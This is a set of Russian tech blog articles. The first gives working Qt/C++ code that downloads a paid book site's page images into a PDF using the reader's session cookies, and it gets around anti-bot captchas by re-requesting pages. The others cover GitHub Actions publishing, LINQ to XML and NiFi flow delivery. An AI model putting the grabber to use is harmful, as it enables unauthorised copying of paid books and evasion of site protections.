# Граббер для одного книжного сайта
В один прекрасный день я решил написать grabber для книжного сайта и теперь хочу поделиться с вами тонкостями реализации такого рода программных решений. **Вся информация представлена исключительно для ознакомительных целей**
За основу взял [QWebEngineView](http://doc.qt.io/qt-5/qwebengineview.html), что бы не заморачиваться с авторизацией. И внешне это выглядит так:
Sharing куков между QNetworkAccessManager и QWebEngineView
----------------------------------------------------------
Для этого в Qt есть [QWebEngineCookieStore](https://doc.qt.io/qt-5/qwebenginecookiestore.html) и [QNetworkCookieJar](http://doc.qt.io/qt-5/qnetworkcookiejar.html)
```
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
m_ui(new Ui::MainWindow),
m_store(nullptr),
m_cookieJar(new QNetworkCookieJar (this)),
m_networmManager(new QNetworkAccessManager(this)),
m_try(0),
m_currentPage(0),
m_capches(1)
{
m_ui->setupUi(this);
m_store = m_ui->webView->page()->profile()->cookieStore();
Q_ASSERT(m_store != nullptr);
connect(m_store, &QWebEngineCookieStore::cookieAdded, this, &MainWindow::handleCookieAdded);
m_store->loadAllCookies();
m_ui->webView->load(QUrl("http://липкиеручки.рф/"));
m_networmManager->setCookieJar(m_cookieJar);
connect(m_networmManager, &QNetworkAccessManager::finished,
this, &MainWindow::handleImage);
}
void MainWindow::handleCookieAdded(const QNetworkCookie &cookie)
{
m_cookieJar->insertCookie(cookie);
}
```
Когда переходим на чтение книги и нажимаем на кнопку *Grab*, то берется url вида:
```
http://липкиеручки.рф/static/or3/view/or.html?art_type=4&file=26599915&bname=Разработка веб-приложений в ReactJS&cover=%2Fstatic%2Fbookimages%2F26%2F59%2F99%2F26599923.bin.dir%2F26599923.cover.jpg&art=22880082&user=Что-то&uuid=Что-то
```
Вытаскиваем id файла и название:
```
void MainWindow::onGrabButtonClicked()
{
if(!parseUrl(m_ui->webView->url()))
{
return;
}
const auto paths = QStandardPaths::standardLocations(QStandardPaths::DownloadLocation);
if (paths.isEmpty()) {
qWarning()<<"There is no standard path to download";
return;
}
downloadTo(*paths.begin());
}
bool MainWindow::parseUrl(const QUrl &url)
{
const auto query = QUrlQuery(url.query(QUrl::FullyDecoded));
if (query.isEmpty()){
return false;
}
static const QVector fields = {
"file", "bname", "uuid"
};
for (const auto& key: fields) {
if (!query.hasQueryItem(key)) {
qWarning()<<"Query hasn't param"<< key;
return false;
}
}
m\_name = query.queryItemValue("bname", QUrl::FullyDecoded);
m\_file = query.queryItemValue("file");
m\_format = "jpg";
return true;
}
```
**MainWindow::downloadTo** настраивает [QPdfWriter](http://doc.qt.io/qt-5/qpdfwriter.html) и [QPainter](http://doc.qt.io/qt-5/qpainter.html)
```
void MainWindow::downloadTo(const QString &path)
{
QDir dir(path);
m_writer = std::make_unique(dir.absoluteFilePath(m\_name+".pdf"));
QPageLayout layout(QPageSize(QPageSize::A4), QPageLayout::Portrait,
QMarginsF(0,0,0,0));
m\_writer->setPageLayout(layout);
m\_writer->setResolution(96);
m\_writer->setTitle(m\_name);
m\_painter = std::make\_unique();
m\_painter->begin(m\_writer.get());
nextImage();
}
```
Скачивание страницы
-------------------
Страницы скачиваются по url вида:
```
http://липкиеручки.рф/pages/read_book_online/?file=26599915&page=2&rt=w1280&ft=gif
```
| Параметр | Описание |
| --- | --- |
| rt | отвечает за размеры, принимает значение w640, w1280 |
| ft | формат gif или jpg |
| page | номер страницы |
| file | идентификатор файла |
Формат **jpg** применяется для страниц с графикой, в то же время **gif** для текста.
Если страницы по url: `http://липкиеручки.рф/pages/read_book_online/?file=26599915&page=0&rt=w1280&ft=gif` не существует, то следует запросить `http://липкиеручки.рф/pages/read_book_online/?file=26599915&page=0&rt=w1280&ft=jpg`
Получаем:
```
void MainWindow::nextImage()
{
QUrlQuery query;
query.addQueryItem("file", m_file);
query.addQueryItem("rt", "w640");
query.addQueryItem("ft", m_format);
query.addQueryItem("page", QString::number(m_currentPage));
QUrl url(BasePath);
url.setQuery(query);
m_networmManager->get(QNetworkRequest(url));
++m_currentPage;
}
void MainWindow::handleImage(QNetworkReply *reply)
{
reply->deleteLater();
if (reply->error() != QNetworkReply::NoError) {
qWarning()<<"Network error"<errorString();
if(m\_try == 3) {
m\_painter->end();
m\_painter.reset();
m\_writer.reset();
return;
}
if (m\_format == "gif") {
m\_format = "jpg";
} else {
m\_format = "gif";
}
--m\_currentPage;
++m\_try;
nextImage();
return;
}
m\_try = 0;
qDebug()<<"Write page"<url();
std::string f;
if (m\_format == "jpg") {
f = "JPEG";
} else {
f = "GIF";
}
const auto data = reply->readAll();
const auto source = QImage::fromData(data, f.c\_str());
if (source.isNull()) {
//handleCapcha(data, reply->url());
--m\_currentPage;
nextImage();
return;
}
m\_ui->pages->setText(QString::number(m\_currentPage));
const auto dest = source.scaledToWidth(m\_writer->width()/\*, Qt::SmoothTransformation \*/);
m\_painter->drawImage(QPoint(0,0), dest);
m\_writer->newPage();
nextImage();
}
```
Капча
-----
Капча вроде бы есть, но в тоже время нет. Выскакивает не всегда
> Мы заметили странную активность с вашего компьютера. Возможно, мы ошиблись, и эта активность идёт не от вас. В таком случае, подтвердите, что вы не робот и продолжайте пользоваться нашим сайтом.
Оказалось, что можно просто перезапросить страницу и дальше продолжить скачивание изображений. Если же вам не нравится прикидываться роботом, то можно это обработать:
```
void MainWindow::handleCapcha(const QByteArray &page, const QUrl &url )
{
++m_capches;
m_ui->webView->page()->setHtml(page, url);
m_ui->captches->setText(QString::number(m_capches));
QEventLoop loop;
constexpr int duration = 1000*60*5;
QTimer::singleShot(duration, &loop, &QEventLoop::quit);
loop.exec();
}
```
Тут загружаем в WebView страницу с капчей. После чего, можем ввести капчу.
Итого
-----
Книга объемом 256 страниц в PDF со страницами A4 и DPI 96 весит 51,7 МБ против 5,8 МБ зашифрованного документа.
Код доступен на [GitHubGist](https://gist.github.com/RPG-18/17712234419aa3d155d99da441c378d2) | https://habr.com/ru/post/334412/ | null | ru | null |
# Публикация Spring Boot приложения в GitHub Packages с помощью GitHub Actions для самых маленьких
Сегодня я расскажу вам как можно опубликовать своё [Spring Boot](https://spring.io/projects/spring-boot) приложение в [GitHub Packages](https://github.com/features/packages) с помощью [GitHub Actions](https://github.com/features/actions). Вот [так](https://github.com/vanbv/list-keep/blob/main/.github/workflows/build.yml). В общем-то всё. Вот. Спасибо за внимание.
Ну, а здесь, для самых любознательных, приведу немного информации о том, что делает этот GitHub Action.
Старт
-----
Прежде чем перейти к самому GitHub Action приведу сначала то, что он должен уметь делать.
1. Он должен собрать докер образ.
2. Выложить его в GitHub Packages.
В качестве примера собирать буду вот [этот](https://github.com/vanbv/list-keep) проект. Подробнее о нём я писал в [этой](https://habr.com/ru/post/546428/) статье. Здесь лишь отмечу, что в качестве системы сборки в нём используется [gradle](https://gradle.org/).
Сборка docker-образа
--------------------
Как же можно собрать docker-образ своего приложения? Ну конечно же, написать Dockerfile! Делать я этого, конечно же, не буду, а воспользуюсь замечательным проектом [Cloud Native Buildpacks](https://buildpacks.io/).
Что же в этом проекте такого замечательного?!. В Spring Boot имеется поддержка этого проекта, что позволяет собрать docker-образ без написания Dockerfile всего одной командой. Например, при использовании в качестве сборщика gradle это команда будет выглядеть так:
```
./gradlew bootBuildImage
```
А при использовании [maven](https://maven.apache.org/) - так:
```
mvn spring-boot:build-image
```
В результате выполнения команды будет создан и локально опубликован docker-образ. Версия java определиться автоматически из настроек сборщика, а в качестве JDK по умолчанию будет использоваться сборка [BellSoft Liberica](https://bell-sw.com/pages/libericajdk/).
Параметры по умолчанию можно изменить. Как это сделать можно посмотреть в настройках плагина для соответствующей системы сборки ([maven](https://docs.spring.io/spring-boot/docs/current/maven-plugin/reference/htmlsingle/#goals-build-image), [gradle](https://docs.spring.io/spring-boot/docs/current/gradle-plugin/reference/htmlsingle/#build-image)). Возможно, через конфигурацию плагинов получится изменить не все параметры, которые есть в buildpack. В этом случае собирать образ можно будет с помощью утилиты [pack](https://buildpacks.io/docs/tools/pack/). Подробнее о сборке java приложений с помощью этой утилиты можно почитать, например, [тут](https://paketo.io/docs/howto/java/). Правда, на мой взгляд, это будет уже не так лаконично, как было с помощью соответствующих плагинов.
Немного о возможных проблемахИзначально в проекте у меня была java 15. Но при вызове таски`bootBuildImage я получал ошибку вида:`
```
[creator] Paketo BellSoft Liberica Buildpack 8.4.0
[creator] unable to find dependency
[creator] no valid dependencies for jdk, 15.*, and io.buildpacks.stacks.bionic in [(jdk, 8.0.302, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *]) (jre, 8.0.302, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *]) (jdk, 11.0.12, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *]) (jre, 11.0.12, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *]) (native-image-svm, 11.0.12, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *]) (jdk, 16.0.2, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *]) (jre, 16.0.2, [io.buildpacks.stacks.bionic io.paketo.stacks.tiny *])]
[creator] ERROR: failed to build: exit status 1
```
Как оказалось, ошибка была связана с тем, что у BellSoft нет сборки java 15. Но когда-то она была, но после того как они собрали 16-ю версию, 15-ю решили [удалить](https://github.com/paketo-buildpacks/bellsoft-liberica/pull/99). И это выглядит, мягко говоря, не очень надёжным. Ну и с выходом 17-й так же удалили и 16-ю.
Сборка и публикация через GitHub Actions
----------------------------------------
Немного о [GitHub Actions](https://github.com/features/actions). Это штука, которая позволяет автоматизировать рабочий процесс прямо в [GitHub](https://github.com/) (настроить [CI/CD](https://ru.wikipedia.org/wiki/CI/CD)). Например, с помощью неё можно собирать приложение по коммиту, где-то публиковать, прогонять тесты и делать многое-многое другое.
Переходим к сборке. Для этого нужно создать свой `action`, который будет этим заниматься. Либо можно добавить существующий из [marketplace](https://github.com/marketplace?type=actions). Мне, правда, не удалось найти нужный, который бы использовал для сборки docker-образа Cloud Native Buildpacks через gradle-плагин, но, возможно, на момент, когда вы читаете эту статью, этот плагин там есть, либо он и был, а я просто плохо искал.
Для создания своего `action` в GitHub-репозитории нужно перейти на вкладку `Actions`. Здесь можно либо самостоятельно настроить `workflow` нажав на `set up a workflow yourself`. Либо можно выбрать уже готовое `workflow` из предложенного списка.
Проще всего, конечно же, выбрать уже готовое `workflow` и видоизменить его требуемым образом. Так как для сборки проекта используется `gradle`, то и взять лучше всего `workflow` для gradle-проекта. На текущих момент чтобы найти это `workflow`, нужно пролистать страницу вниз до кнопки `More continuous integration workflows...` и нажать на неё.
Среди предложенных `workflow` нужно найти `Java with Gradle` и нажать на кнопку `Set up this workflow`.
После этого мы перейдём на страницу создания нового `action` для проекта, на которой уже будет доступен код, который можно редактировать.
В верху страницы для редактирования доступно имя файла, в котором будет находится код этого `action`.
По умолчанию файл будет называться `gradle.yml`. Так как данный `action` будет заниматься сборкой проекта, предлагаю переименовать его в `build.yml`.
Ниже представлен код данного `action`, который был сгенерирован автоматически.
```
# This workflow will build a Java project with Gradle and cache/restore any dependencies to improve the workflow execution time
# For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-gradle
name: Java CI with Gradle
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up JDK 11
uses: actions/setup-java@v2
with:
java-version: '11'
distribution: 'adopt'
cache: gradle
- name: Grant execute permission for gradlew
run: chmod +x gradlew
- name: Build with Gradle
run: ./gradlew build
```
Немного разберём что здесь происходит.
`name: Java CI with Gradle` - имя `workflow`, будет отображаться на страничке `Actions` в [GitHub](https://github.com/).
Блок `on` описывает, какие события должны запускать данный `workflow`. В данном случае это `push` и `pull_request`, кроме того можно указать, в каких ветках должны происходить данные события с помощью `branches`. Более подробно о синтаксисе можно почитать в [документации](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions).
`jobs`. В этом блоке описываются `job'ы` (например, сборка, тестирование и т.п.). Их может быть несколько. По умолчанию они будут запускаться параллельно, но документация говорит, что можно запустить их последовательно. В данном случае есть лишь одна `job`, которая называется `build`.
`runs-on`. В этом блоке указывается `runner`, т.е., по сути, виртуальная машина, на которой будет выполняться `job`. В данном случае это `ubuntu-latest`.
`steps`. Блок, в котором описаны шаги, из которых состоит `job`. Каждый шаг является отдельным `GitHub Action` или shell-командой.
`uses: actions/checkout@v2`. `uses` означает, что требуется взять `GitHub Action`, далее указывается имя `GitHub Action`, в данном случае [actions/checkout@v2](https://github.com/actions/checkout). Данный `GitHub Action` вытягивает код из репозитория в `runner`.
`uses: actions/setup-java@v2`. `GitHub Action` [actions/setup-java@v2](https://github.com/actions/setup-java) устанавливает java в `runner`. С помощью `with` можно передавать параметры для данного `GitHub Action`. `java-version` задаёт версию java. `distribution` задаёт дистрибутив. `cache: gradle` указывает, что необходимо сохранять локальный кэш Gradle в инфраструктуре GitHub Actions таким образом, чтобы он использовался в будущих запусках `workflow`. Подробнее о допустимых значениях параметров можно почитать на [страничке](https://github.com/actions/setup-java) данного `GitHub Action`. Так же для данного шага указано `name`. Будет отображаться в логах выполнения `job` на [GitHub](https://github.com/).
`run: chmod +x gradlew`. `run` позволяет выполнять shell-команды. Команда `chmod +x gradlew` даёт права на выполнение файла `gradlew`.
`run: ./gradlew build` - cобирает проект.
Изменим скрипт таким образом чтобы он делал требуемые нам действия. В результате получится так.
```
name: build
on: [push]
env:
IMAGE_NAME: list-keep
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up JDK 17
uses: actions/setup-java@v2
with:
java-version: '17'
distribution: 'adopt'
- name: Login to GitHub Container Registry
run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin
- name: Grant execute permission for gradlew
run: chmod +x gradlew
- name: Build a container image from our Spring Boot app using Paketo.io / Cloud Native Build Packs
run: ./gradlew bootBuildImage --imageName=$IMAGE_NAME
- name: Tag & publish to GitHub Container Registry
run: |
IMAGE_ID=ghcr.io/${{ github.repository_owner }}/$IMAGE_NAME
VERSION=latest
docker tag $IMAGE_NAME $IMAGE_ID:$VERSION
docker push $IMAGE_ID:$VERSION
```
Разберём что изменилось.
`on: [push]`. Данный `workflow` теперь запускает любое событие `push`.
В блоке `env` объявлена переменна окружения `IMAGE_NAME`, которая используется далее в скрипте.
`java-version: '17'`. Используется 17-я версия `java`. Так же, как можно заметить, в данной конфигурации `GitHub Action` [actions/setup-java@v2](https://github.com/actions/setup-java) не используется `cache` для `gradle`.
`run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin`. Команда помогает залогиниться в [GitHub Packages](https://github.com/features/packages). С помощью `docker login` логинимся на `ghcr.io`, с помощью параметра `-u` передаём логин пользователя GitHub. Сам логин берём из [github-контекста](https://docs.github.com/en/actions/learn-github-actions/contexts#github-context), в котором хранится различная информация, как о `workflow`, так и о событии которое его запустило. Параметр `--password-stdin` говорит о том, что пароль, а точнее токен, будет получен из `stdin`. С помощью `echo "${{ secrets.GITHUB_TOKEN }}"` передаём токен в `stdin`. В качестве токена здесь используется [GITHUB\_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication). Этот токен создаётся в автоматическом режиме в начале каждого запуска `workflow`, и он доступен как секрет `secrets.GITHUB_TOKEN` либо его можно получить из `github`-контекста как `github.token`.
Немного о правах GITHUB\_TOKEN`GITHUB_TOKEN` не всесилен. Его набор прав [ограничен](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) из коробки. Но его можно расширить с помощью блока [permissions](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#permissions).
Так же, например, правами на `packages` можно управлять на странице настроек пакета (думаю, другими правами так же можно управлять на соответствующих страницах).
На этой странице в блоке `Manage Actions access` можно добавлять репозитории и давать им права на этот пакет. И если, например, дать права только на чтение репозиторию, то он не сможет с `GITHUB_TOKEN` сюда публиковать, не смотря на то что у `GITHUB_TOKEN` по умолчанию есть доступ на запись.
`./gradlew bootBuildImage --imageName=$IMAGE_NAME` - собирает docker-образ с помощью [Cloud Native Buildpacks](https://buildpacks.io/). По умолчанию имя docker-образа будет `docker.io/library/${project.name}:${project.version}`, а точнее, в данном конкретном примере, `docker.io/library/list-keep:0.0.1-SNAPSHOT`. Гораздо более удобно было бы, на мой взгляд, если бы версия была `latest`. Сделать это можно, переопределив имя docker-образ с помощью параметра `--imageName`. В этот параметр можно передать как полное название docker-образа - `docker.io/library/list-keep:latest`, так и часть его, например, `list-keep`. В этом случае `docker.io/library` и `latest` (если версия не указана, то по умолчанию выставляется `latest`) допишутся автоматически.
Далее идёт многострочный скрипт публикации docker-образа в [GitHub Packages](https://github.com/features/packages). Чтобы скрипт был многострочным, необходимо в самом начале скрипта указать символ `|`.
`IMAGE_ID=ghcr.io/${{ github.repository_owner }}/$IMAGE_NAME` превратится в `ghcr.io/vanbv/list-keep`. Это адрес пакета в [GitHub Packages](https://github.com/features/packages), куда будет опубликован собранный docker-образ.
`VERSION=latest`. В качестве версии будем использовать `latest`. Если требуется делать что-то более сложное, например, проставлять версию в соответствии с версией приложения, то в документации [GitHub Actions](https://github.com/features/actions) есть неплохой [пример](https://docs.github.com/en/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions#upgrading-a-workflow-that-accesses-ghcrio) того, как это можно сделать.
`docker tag $IMAGE_NAME $IMAGE_ID:$VERSION` превратится в `docker tag list-keep ghcr.io/vanbv/list-keep:latest`. Команда [docker tag](https://docs.docker.com/engine/reference/commandline/tag/) создаст тег `ghcr.io/vanbv/list-keep:latest`, который будет ссылаться на `list-keep:latest` (т.к. версия не указана, то по умолчанию возьмётся `latest`).
`docker push $IMAGE_ID:$VERSION` превратится в `docker push ghcr.io/vanbv/list-keep:latest`. [docker push](https://docs.docker.com/engine/reference/commandline/push/) опубликует docker-образ в [GitHub Packages](https://github.com/features/packages).
### Заключение
Вот, в общем-то, и всё. Надеюсь, было интересно и полезно. Берегите там себя. | https://habr.com/ru/post/576412/ | null | ru | null |
# Конструируем XML с использованием LINQ to XML API
До недавнего времени мне ужасно не нравилось работать с XML файлами, я старался избегать этого где только можно, по просту заменяя их стандартными конфигурационными файлами приложения. Но где нужно было использовать обмен данными – от XML’а было не уйти. Приходилось создавать большой объем кода для того чтобы сконвертировать либо прочитать небольшой объем информации. Да, таков уж XML Document Object Model (DOM) API.
#### Пример использования XML DOM API
Необходимо получить такое сообщение:
> `<Groups>
>
> <Group Id="523063B0-47C0-4ABE-8D38-4A449137A00B" DepartmentId="D939743F-BFF7-41E4-9A1B-1193EEFF0486">
>
> <Name>555AName>
>
> <Course>5Course>
>
> Group>
>
> Groups>`
Для этого потребуется написать довольно простой, но объемный код:
> `private sealed class Nodes
>
> {
>
> public const string Root = "Groups";
>
>
>
> // Attributes.
>
> public const string Group = "Group";
>
> public const string Id = "Id";
>
> public const string DepartmentId = "DepartmentId";
>
>
>
> // Elements.
>
> public const string Name = "Name";
>
> public const string Course = "Course";
>
> }
>
>
>
> // Create XML document.
>
> XmlDocument document = new XmlDocument();
>
>
>
> // Create root element.
>
> XmlElement rootElement = document.CreateElement(Nodes.Root);
>
>
>
> // Create Group element.
>
> XmlElement groupElement = document.CreateElement(Nodes.Group);
>
>
>
> // Create attributes.
>
> XmlAttribute idAttribute = document.CreateAttribute(Nodes.Id);
>
> idAttribute.InnerText = "523063B0-47C0-4ABE-8D38-4A449137A00B";
>
> groupElement.Attributes.Append(idAttribute);
>
>
>
> XmlAttribute departmentIdAttribute = document.CreateAttribute(Nodes.DepartmentId);
>
> departmentIdAttribute.InnerText = "D939743F-BFF7-41E4-9A1B-1193EEFF0486";
>
> groupElement.Attributes.Append(departmentIdAttribute);
>
>
>
> // Create elements.
>
> XmlElement nameElement = document.CreateElement(Nodes.Name);
>
> nameElement.InnerText = "555A";
>
> groupElement.AppendChild(nameElement);
>
>
>
> XmlElement courseElement = document.CreateElement(Nodes.Course);
>
> courseElement.InnerText = "5";
>
> groupElement.AppendChild(courseElement);
>
>
>
> rootElement.AppendChild(groupElement);
>
> document.AppendChild(rootElement);`
Согласитесь со мной, что писать, разбирать и сопровождать такой код — не очень приятно.
По данному коду невозможно получить представления о результирующей структуре XML. С каждым элементом или атрибутом необходимо всегда выполнить три шага: создать, задать свойство InnerText и добавить к уже существующему элементу или документу. Так же, без создания XmlDocument’а невозможно просто создать элемент, а ведь это необходимо достаточно часто.
Благо компания Microsoft подарила нам не просто возможность выполнения интегрированных запросов LINQ to XML, но и переработала XML DOM API.
Об этом я и хочу сегодня поведать подробнее. Для этого понадобиться подключить следующие пространства имен:
> `using System.Collections.Generic;
>
> using System.Linq;
>
> using System.Xml.Linq;`
Как я уже говорил, одним из недостатков стандартной DOM модели было трудночитаемая структура получаемого XML файла. LINQ to XML API решает эту проблему, предлагая новую технику, называемую функциональным конструированием. Функциональное конструирование позволяет конструировать объекты XML и инициализировать их значения — одновременно, в единственном операторе, за счет множества перегруженных конструкторов.
Давайте посмотрим как будет выглядеть конструирование уже известного нам XML файла при помощи LINQ to XML API:
> `XElement document = new XElement(Nodes.Root,
>
> new XElement(Nodes.Group,
>
> new XAttribute(Nodes.Id, "523063B0-47C0-4ABE-8D38-4A449137A00B"),
>
> new XAttribute(Nodes.DepartmentId, "D939743F-BFF7-41E4-9A1B-1193EEFF0486"),
>
> new XElement(Nodes.Name, "555A"),
>
> new XElement(Nodes.Course, 5)));`
Ну как? Какой код вам легче читать? Ответ очевидный.
#### Объектная модель
Классы **XObject**, **XNode** и **XContainer** – являются абстрактными, так что создавать мы их не можем.
Класс **XAttribute** – не наследуется от **XNode**, т.е. не является узлом, это простой элемент коллекции, который представляет пару «ключ-значение».
Классы **XDocument** и **XElement** – единственные, которые могут содержать узлы, унаследованные от **XNode**.
#### XDocument
В LINQ to XML API совсем не обязательно создавать **XDocument** для того чтобы создать дерево XML или его фрагмент.
> `XDocument document = new XDocument();
>
> Console.WriteLine(document.ToString());`
Получим пустой результат.
Сам по себе **XDocument** не имеет ничего полезного, только возможность добавить к документу объявление (**XDeclaration**), создание типа (**XDocumentType**) либо инструкции обработки (**XProcessingInstruction**).
Имеет статические методы для чтения содержимого документов, с всевозможными вариантами перегрузок:
> `public static XDocument Load(Stream stream);
>
> public static XDocument Load(string uri);
>
> public static XDocument Load(TextReader textReader);
>
> public static XDocument Load(XmlReader reader);
>
> public static XDocument Load(Stream stream, LoadOptions options);
>
> public static XDocument Load(string uri, LoadOptions options);
>
> public static XDocument Load(TextReader textReader, LoadOptions options);
>
> public static XDocument Load(XmlReader reader, LoadOptions options);`
А так же для сохранения документа:
> `public void Save(Stream stream);
>
> public void Save(string fileName);
>
> public void Save(TextWriter textWriter);
>
> public void Save(XmlWriter writer);
>
> public void Save(Stream stream, SaveOptions options);
>
> public void Save(string fileName, SaveOptions options);
>
> public void Save(TextWriter textWriter, SaveOptions options);`
Такие же методы имеет и элемент (**XElement**).
Я использую **XDocument** только в том случае, если необходимо задать объявление для документа, которое содержит номер версии и кодировку.
#### XDeclaration
Объекты **XDeclaration**, как вы уже наверное догадались, содержат объявления и добавляются к документу, хотя компилятор допускает добавление объявления к элементу (**XElement**), но это не даст никакого видимого результата.
> `XDocument document = new XDocument(
>
> new XDeclaration("1.0", "UTF-8", "yes"));
>
> Console.WriteLine(document.ToString());`
Данный код так же не выведет никаких строк, хотя если посмотреть отладчик, объявление все-таки добавилось:
Объявление будет видно, если использовать метод **Save()**, класса **XDocument**.
#### XElement
Наиболее часто используемый объект API.
Имеет множество конструкторов, рассмотрим два из них:
> `public XElement(XName name, object content);
>
> public XElement(XName name, params object[] content);`
Первый конструктор – простейший случай, когда элемент не имеет дочерних элементов и мы задаем только его значение, второй конструктор – с заданием дочерних элементов, таких как элементы, атрибуты, инструкции обработки, комментарии (**XComment**) и т.д.
Создадим простейший элемент:
> `XElement element = new XElement("Element", 777);
>
> Console.WriteLine(element.ToString());
>
> Console.WriteLine((int)element);`
Результат:
> `<Element>777Element>
>
> 777`
Как видите доступ к значению стал еще проще благодаря переопределенному явному приведению элементов, достаточно привести элемент к его исходному типу, для того чтобы посмотреть его значение. **XElement** переопределяет явное приведение для всех простейших типов. Теперь даже к свойству **Value** обращаться нет необходимости.
Вы спросите, конструктор требует **XName**, а я передаю ему строку? И я вам отвечу: строка неявно приводится к объекту **XName**. По сути, **XName** – это и есть строка, только с возможностью задания пространства имен (**XNamespace**).
Приведу более детальный пример с созданием XML из объектов:
> `public sealed class Teacher
>
> {
>
> public Guid Id;
>
> public string FirstName;
>
> public string LastName;
>
> }
>
>
>
> IEnumerable<Teacher> teachers = new[]
>
> {
>
> new Teacher() { Id = Guid.NewGuid(), FirstName = "Василий", LastName = "Иванович" },
>
> new Teacher() { Id = Guid.NewGuid(), FirstName = "Мария", LastName = "Николаевна" }
>
> };
>
>
>
> XElement elements = new XElement("Teachers",
>
> teachers.Select(t => new XElement("Teacher",
>
> new XAttribute("Id", t.Id),
>
> new XElement("FirstName", t.FirstName),
>
> new XElement("LastName", t.LastName))));
>
>
>
> Console.WriteLine(elements.ToString());`
В итоге имеем:
> `<Teachers>
>
> <Teacher Id="80321d66-ee4b-4b55-ace8-3892b682d483">
>
> <FirstName>ВасилийFirstName>
>
> <LastName>ИвановичLastName>
>
> Teacher>
>
> <Teacher Id="33f58b19-1bbb-468f-acee-961edb63ce0b">
>
> <FirstName>МарияFirstName>
>
> <LastName>НиколаевнаLastName>
>
> Teacher>
>
> Teachers>`
#### XAttribute
Как я уже и говорил ранее, является парой «ключ-значение» для коллекции атрибутов элемента. Создание и добавление атрибутов к элементу достаточно простая задача:
> `XAttribute attribute = new XAttribute("Id", Guid.NewGuid());
>
> XElement element = new XElement("Teachers");
>
> element.Add(attribute);
>
> Console.WriteLine(element.ToString());`
Либо:
> `XElement element = new XElement("Teachers",
>
> new XAttribute("Id", Guid.NewGuid()));
>
> Console.WriteLine(element.ToString());`
Результат один и тот же:
> `<Teachers Id="713c6cbf-f698-42fd-b5fc-74415b93d824" />`
#### XComment
Создание и добавление комментариев так же не вызывает никаких сложностей:
> `XElement teacherElement = new XElement("Teacher",
>
> new XComment("Teacher element"));
>
> Console.WriteLine(teacherElement.ToString());`
Результат:
> `<Teacher>
>
>
>
> Teacher>`
#### Заключение
На данном этапе я хотел бы закончить. Да, я не рассмотрел на примерах использование инструкций обработки, создание типов документа и другие классы модели, но данных знаний будет достаточно для создания как простых так и сложных по структуре XML документов.
В следующей статье я планирую рассмотреть проход по содержимому XML документа. | https://habr.com/ru/post/109900/ | null | ru | null |
# Автоматизация доставки flow в Apache NiFi
Всем привет!
Задача заключается в следующем — есть flow, представленный на картинке выше, который надо раскатить на N серверов с [Apache NiFi](https://nifi.apache.org). Flow тестовый — идет генерация файла и отправка в другой инстанс NiFi. Передача данных происходит с помощью протокола NiFi Site to Site.
---
*NiFi Site to Site (S2S) — безопасный, легко настраиваемый способ передачи данных между инстансами NiFi. Как работает S2S смотрите в [документации](https://docs.cloudera.com/HDPDocuments/HDF2/HDF-2.1.2/bk_dataflow-user-guide/content/site-to-site.html) и важно не забыть настроить инстанс NiFi, чтобы разрешить S2S смотрите [тут](https://docs.cloudera.com/HDPDocuments/HDF2/HDF-2.1.2/bk_dataflow-administration/content/site_to_site_properties.html).
В тех случаях, когда речь идет о передачи данных с помощью S2S — один инстанс называется клиентским, второй серверным. Клиентский отправляет данные, серверный — принимает. Два способа настроить передачу данных между ними:
1. **Push**. С клиентского инстанса данные отправляются с помощью Remote Process Group (RPG). На серверном инстансе данные принимаются с помощью Input Port
2. **Pull**. Сервер принимает данные с помощью RPG, клиент отправляет с помощью Output port.*
---
Flow для раскатки храним в Apache Registry.
---
*Apache NiFi Registry — подпроект Apache NiFi, представляющий инструмент для хранения flow и управления версиями. Этакий GIT. Информацию об установке, настройке и работе с registry можно найти в [официальной документации](https://nifi.apache.org/registry#). Flow для хранения объединяется в process group и в таком виде хранится в registry. Далее в статье к этому еще вернемся.*
---
На старте, когда N малое число, flow доставляется и актуализируется руками за приемлемое время.
Но с ростом N, проблем становится больше:
1. на актуализацию flow уходит больше времени. Надо зайти на все сервера
2. возникают ошибки актуализации шаблонов. Вот тут обновили, а тут забыли
3. ошибки человека при выполнении большого количества однотипных операций
Всё это подводит нас к тому, что надо автоматизировать процесс. Я пробовал следующие способы решения этой задачи:
1. Использовать MiNiFi вместо NiFi
2. NiFi CLI
3. NiPyAPI
Использование MiNiFi
====================
[Apache MiNiFy](https://nifi.apache.org/minifi/index.html) — подпроект Apache NiFi. MiNiFy — компактный агент, использующий те же самые процессоры, что и NiFi, позволяющий создавать те же flow, что и в NiFi. Легковесность агента достигается в том числе за счет того, что у MiNiFy нет графического интерфейса для конфигурации flow. Отсутствие графического интерфейса у MiNiFy означает, что необходимо решать проблему доставки flow в minifi. Поскольку, MiNiFy активно используется в IOT, компонентов много и процесс доставки flow до конечных экземпляров minifi надо автоматизировать. Знакомая задача, правда?
Решить такую задачу поможет еще один подпроект — MiNiFi C2 Server. Этот продукт предназначен для того, чтобы быть центральной точкой в архитектуре раскатки конфигураций. Как сконфигурировать окружение — описано в [этой статье](https://habr.com/ru/company/itsumma/blog/415933/) на Хабре и информации достаточно для решения поставленной задачи. MiNiFi в связке с C2 server автоматическом режиме обновляет конфигурацию у себя. Единственный недостаток такого подхода — приходится создавать шаблоны на C2 Server, простого коммита в registry не достаточно.
Вариант, описанный в статье выше рабочий и не сложный для реализации, но надо не забывать следующее:
1. В minifi есть не все процессоры из nifi
2. Версии процессоров в Minifi отстают от версий процессоров в NiFi.
